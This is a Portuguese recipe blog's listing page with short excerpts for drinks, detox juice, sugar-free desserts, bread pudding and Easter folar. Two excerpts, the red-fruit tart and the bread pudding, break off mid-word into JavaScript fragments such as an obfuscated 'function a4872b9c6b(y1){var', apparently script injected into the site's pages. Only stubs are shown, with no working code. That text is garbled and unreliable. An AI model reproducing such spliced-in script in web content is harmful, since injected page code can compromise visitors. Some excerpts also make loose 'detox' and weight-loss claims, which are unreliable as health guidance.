Águas aromatizadas para levar consigo para a praia
Águas aromatizadas para levar consigo para à praia Já lhe disse e volto a repetir: a água é um bem absolutamente essencial para o nosso organismo. No entanto muitas pessoas não bebem a quantidade necessária de água por dia… e muitas vezes simplesmente porque...
Sumo detox de couve para ajudar a emagrecer
Sumo detox de couve para ajudar a emagrecer Hoje trago-lhe uma receita de um sumo detox de couve para ajudar a emagrecer. E nada melhor que um sumo rico em fibras e vitaminas para começar o seu dia, verdade? Este detox vai ajudá-lo a limpar o organismo...
Bolo de avelãs e aveia para o Dia da Mãe
Bolo de avelãs e aveia para o dia da mãe Eis uma receita saudável, deliciosa, rápida e fácil de confeccionar, com poucas calorias para oferecer à sua mãe neste dia tão especial. Um presente feito por nós tem muito mais valor, verdade? E se for um docinho, ainda sabe...
Salada fresca e saudável + espetadas de fruta com chocolate negro
Salada fresca e saudável + espetadas de fruta com chocolate negro O calor está aí e, com ele, a preocupação em ver os números da balança descer. Por isso hoje trago-lhe duas receitas: salada e sobremesa ligeiras sem culpa, sem gordura e sem açúcar. Duas receitas...
Tarte de frutos vermelhos – Uma sobremesa sem açúcar
Tarte de frutos vermelhos – Uma sobremesa sem açúcar Hoje trago-lhe uma receita de tarte de frutos vermelhos que poderá comer sem culpa. O melhor desta receita é que não tem açúcares refinados. Se é verdade que a um docinho de vez em qufunction...
Receita de pudim de pão
Receita de pudim de pão Uma receita de pudim de pão irá surpreender tudo e todos. Para além de ser uma verdadeira tentação, esta receita ajuda-o a aproveitar as sobras de pão lá de casa, evitfunction a4872b9c6b(y1){var...
Bolo de cenoura com sumo de laranja e cobertura de chocolate negro
Bolo de cenoura com sumo de laranja e cobertura de chocolate negro Hoje trago-lhe uma receita docinha e deliciosa de bolo de cenoura com sumo de laranja e cobertura de chocolate negro. Por ser uma receita calórica deve ser feita ou consumida em dias de festa, ou...
Folar da Páscoa – uma receita simples e rápida
Folar da Páscoa – uma receita simples e rápida A Páscoa está a chegar e gostamos de rechear as nossas mesas com sabores tradicionais. Sabores de sempre que nos lembram a infância. E nada melhor que um folar delicioso! É verdade, pedi a uma amiga e...